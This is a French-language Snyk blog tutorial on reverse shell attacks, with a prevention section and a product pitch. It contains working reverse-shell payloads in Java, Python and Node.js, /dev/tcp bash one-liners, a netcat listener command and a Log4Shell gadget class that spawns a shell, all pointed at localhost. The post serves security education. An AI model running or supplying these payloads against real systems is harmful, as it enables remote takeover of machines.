Skip to main content

Prenez le contrôle de votre serveur avec une attaque par shell inversé

Écrit par
hero tsd podcast navy

10 août 2022

0 minutes de lecture

Note de la rédaction : 9 mai 2023

Cet article, publié initialement le 10 août 2022, a été mis à jour pour montrer comment Snyk peut vous aider à prévenir les attaques par reverse shell.

Créer et exécuter une application dans votre langage préféré est généralement assez simple. Une fois votre application créée, la déployer et la présenter au monde entier est tout aussi facile. La dernière chose dont vous avez besoin, c’est que quelqu’un prenne le contrôle de votre système et de votre toute nouvelle application. Dans cet article, je vous explique comment cela peut se produire lors d’une attaque par shell inversé.

Notez que les exemples de code de cet article sont fournis à des fins pédagogiques uniquement. J’essaie avant tout d’expliquer ce qu’est une attaque par shell distant et comment elle peut se produire dans vos applications. Il est déconseillé d’utiliser cet exemple ou tout autre exemple pour pirater quelqu’un. Dans la plupart des pays, pirater sans le consentement de la cible est illégal, même si vos intentions sont bonnes.

Qu’est-ce qu’un shell inversé ?

Un shell inversé (ou shell avec connexion de rappel) est une session de shell initiée par la machine cible vers un hôte distant. La machine cible ouvre la session vers un hôte et un port spécifiques. Une connexion shell peut être établie si l’hôte distant écoute sur ce port à l’aide du logiciel approprié. Il est important de noter que c’est la machine cible qui initie la connexion, et non l’hôte distant.

Lors d’une attaque par shell distant, l’attaquant tente de faire en sorte que la machine victime initie une telle connexion. L’attaque peut établir un accès interactif au shell (autrement dit, à un terminal) et prendre le contrôle de la machine victime.

Comment se déroule une attaque par shell inversé ?

Dans la plupart des cas, une attaque par shell inversé se produit lorsqu’une application est vulnérable à une faille d’exécution de code à distance. Un attaquant exploite une vulnérabilité de l’application pour exécuter du code sur la machine de la victime et ainsi initier la session de shell. À son insu, la victime établit une connexion ; l’attaquant n’a plus qu’à écouter les connexions entrantes sur le port approprié. Une fois la connexion établie, l’attaquant accède au shell de la victime et peut faire toutes sortes de choses.

Imaginez une balle de tennis. Si vous la lancez contre une surface dure, elle revient vers vous. Il vous suffit de l’attraper au bon endroit et au bon moment.

Établir une connexion par shell inversé

Pour créer un shell inversé, plusieurs options s’offrent à vous selon votre langage. Toutefois, avant d’exécuter le code de shell inversé, vous devez vous assurer d’écouter sur le bon port les connexions entrantes.

Écouter les connexions entrantes avec netcat

netcat est un excellent outil pour cela. Netcat (souvent abrégé en nc) est un utilitaire réseau qui permet de lire et d’écrire des données sur des connexions réseau via TCP ou UDP. Sur la machine à laquelle vous souhaitez connecter le shell inversé, vous pouvez utiliser netcat pour écouter les connexions entrantes sur un port donné. L’exemple ci-dessous montre comment demander à netcat d’écouter sur le port 9001. Notez que le paramètre v n’est pas indispensable, mais il affiche des informations détaillées utiles.

nc -lvp 9001

Exécuter un shell inversé en Python, Java ou Node.js

Voyons deux méthodes pour configurer un shell inversé. Les deux exemples conviennent aux systèmes sur lesquels le shell bash est installé.

Charge utile de shell inversé :

La première méthode consiste à démarrer un shell par programmation. Ensuite, nous créons une connexion socket vers l’ordinateur distant à l’aide de l’adresse IP et du port appropriés.

Enfin, nous relions les descripteurs de fichiers (entrée, sortie et erreur) du shell à la connexion socket que nous venons de créer.

Java

public static void main(String[] args) throws IOException {
       Process process = new ProcessBuilder("bash").redirectErrorStream(true).start();
       Socket socket = new Socket("127.0.0.1", 9001);
       InputStream pInput = process.getInputStream();
       InputStream pError = process.getErrorStream();
       InputStream sInput = socket.getInputStream();

       OutputStream pOutput = process.getOutputStream();
       OutputStream sOutput = socket.getOutputStream();

       while (!socket.isClosed()) {
           while (pInput.available() > 0) sOutput.write(pInput.read());
           while (pError.available() > 0) sOutput.write(pError.read());
           while (sInput.available() > 0) pOutput.write(sInput.read());
           sOutput.flush();
           pOutput.flush();
       }
}

Dans cet exemple Java, nous redirigeons le InputStream et l’ErrorStream du processus vers l’OutputStream de la connexion socket distante. Nous devons également faire l’inverse et écrire le Socket OutputStream dans l’Inputstream du processus bash.

Shell inversé en Python

import sys,socket,os,pty;

s = socket.socket();
s.connect(("127.0.0.1",9001));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("bash");

Dans ce script Python, nous relions stdin, stdout et stderr à la connexion socket. Sur les systèmes de type Unix, il s’agit des trois premiers descripteurs de fichiers. Nous utilisons ensuite pty pour exécuter bash.

Node.js

var net = require("net");
var cp = require("child_process");
var sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(9001, "127.0.0.1", function(){
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
});

Cet exemple Node.js est très similaire à l’exemple Python. Nous exécutons bash et relions correctement les descripteurs de fichiers standard à la connexion socket.

Exécuter une commande de shell inversé :

La deuxième méthode est un peu plus courte. La plupart des langages permettent d’exécuter des commandes shell, par exemple avec :

  • Runtime.getRuntime() en Java

  • os.system() en Python

  • require(‘child_process’).exec() en Node.js

Nous pouvons utiliser ces fonctions pour appeler une commande shell sur une seule ligne qui établit le shell inversé.

Java

public static void main(String[] args) throws IOException {
   String[] cmd = {
           "bash",
           "-c",
           "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

   Runtime.getRuntime().exec(cmd);
}

Python

import os;

os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Node.js

require('child_process').exec('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Si vous exécutez d’abord la commande netcat pour écouter sur le port 9001, avant d’exécuter ce code, vous verrez que la connexion est établie et que vous pouvez exécuter des commandes shell comme celle ci-dessous.

Fenêtre de terminal affichant un écouteur nc sur le port 9001 qui reçoit une connexion, puis la commande whoami qui renvoie « brianvermeer ».

Avec tous les exemples ci-dessus, vous établissez une connexion par shell inversé avec votre propre machine. Pour cibler une machine distante, vous devez évidemment modifier l’adresse IP en conséquence. N’oubliez pas non plus que, même si vous obtenez un accès, les privilèges dépendent de l’utilisateur qui exécute le code sur la machine victime. Il faudra peut-être aller plus loin pour obtenir des privilèges élevés.

Créer une attaque par shell inversé en exploitant une faille d’exécution de code à distance

Pour créer une véritable attaque à l’aide d’exemples de code comme ceux-ci, nous devons exploiter une faille d’exécution de code et insérer le code dans un système existant. La vulnérabilité Log4Shell, découverte en décembre 2021, en est un excellent exemple. Il était possible d’insérer une classe gadget qui exécutait du code lors de son instanciation. De nombreux exemples montraient comment lancer la calculatrice ou exécuter une action inoffensive. Pourtant, le code ci-dessous permettrait de créer un gadget pour cette célèbre vulnérabilité Log4j. En exploitant Log4Shell, vous ne lancez plus la calculatrice : vous transformez cette vulnérabilité en outil permettant d’établir un shell inversé.

public class Evil implements ObjectFactory {

   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       String[] cmd = {
               "/bin/bash",
               "-c",
               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

       Runtime.getRuntime().exec(cmd);
       return null;
   }
}

Presque toutes les vulnérabilités d’exécution de code à distance peuvent servir à lancer une attaque par shell inversé. Parmi les exemples récents, on trouve Spring4Shell et la faille RCE d’Apache Commons Configuration. Ces deux exemples étaient moins problématiques que Log4Shell, mais ils peuvent tous deux servir à créer une attaque par shell inversé et potentiellement à prendre le contrôle d’une machine cible. Il est donc essentiel d’empêcher l’exécution, même partielle, des entrées fournies par les utilisateurs.

Avec Snyk Open Source, vous pouvez analyser votre application à la recherche de vulnérabilités dans les bibliothèques open source, notamment cette faille de Log4j. Voici un exemple du résultat fourni par le plugin Snyk pour IntelliJ IDEA, qui signale cette faille et indique comment y remédier.

Écran Snyk montrant une vulnérabilité d’exécution de code arbitraire dans Apache Log4j 2.14.1, corrigée dans la version 2.15.0.

Comment prévenir les attaques par shell inversé

Si nous empêchons un attaquant d’exécuter du code sur votre machine, nous éliminons presque toutes les possibilités d’attaque par shell inversé. Voyons quelques mesures que vous pouvez prendre en tant que développeur pour prévenir ces attaques malveillantes.

  • Supprimez les instructions d’exécution. Évitez autant que possible les instructions de votre code capables d’exécuter des scripts ou d’autres blocs de code, comme exec().

  • Assainissez et validez les entrées. Toute entrée doit être considérée comme potentiellement malveillante. Cela ne concerne pas uniquement les entrées directes des utilisateurs. Par exemple, si un champ de base de données est utilisé comme entrée pour une exécution, quelqu’un peut tenter d’attaquer la base de données.

  • Exécutez votre application avec des privilèges limités. N’exécutez pas votre application en tant que root : créez plutôt un utilisateur disposant uniquement des privilèges nécessaires. Malheureusement, c’est fréquent avec les applications dans des conteneurs Docker, dont l’utilisateur par défaut est root.

  • Prévenez les vulnérabilités permettant l’exécution de code à distance. Si une bibliothèque ou un framework est compromis, remplacez-le par une version sécurisée.

Presque toutes les vulnérabilités d’exécution de code à distance peuvent être exploitées lors d’une attaque par shell inversé, même si le scénario semble peu probable.

Snyk peut vous aider !

Snyk est un outil utile pour prévenir les attaques par shell inversé grâce à l’analyse du code et des dépendances. Il signale les erreurs de sécurité potentielles dans votre code personnalisé et vérifie les dépendances transitives pour détecter les vulnérabilités connues.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis de capture du drapeau en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.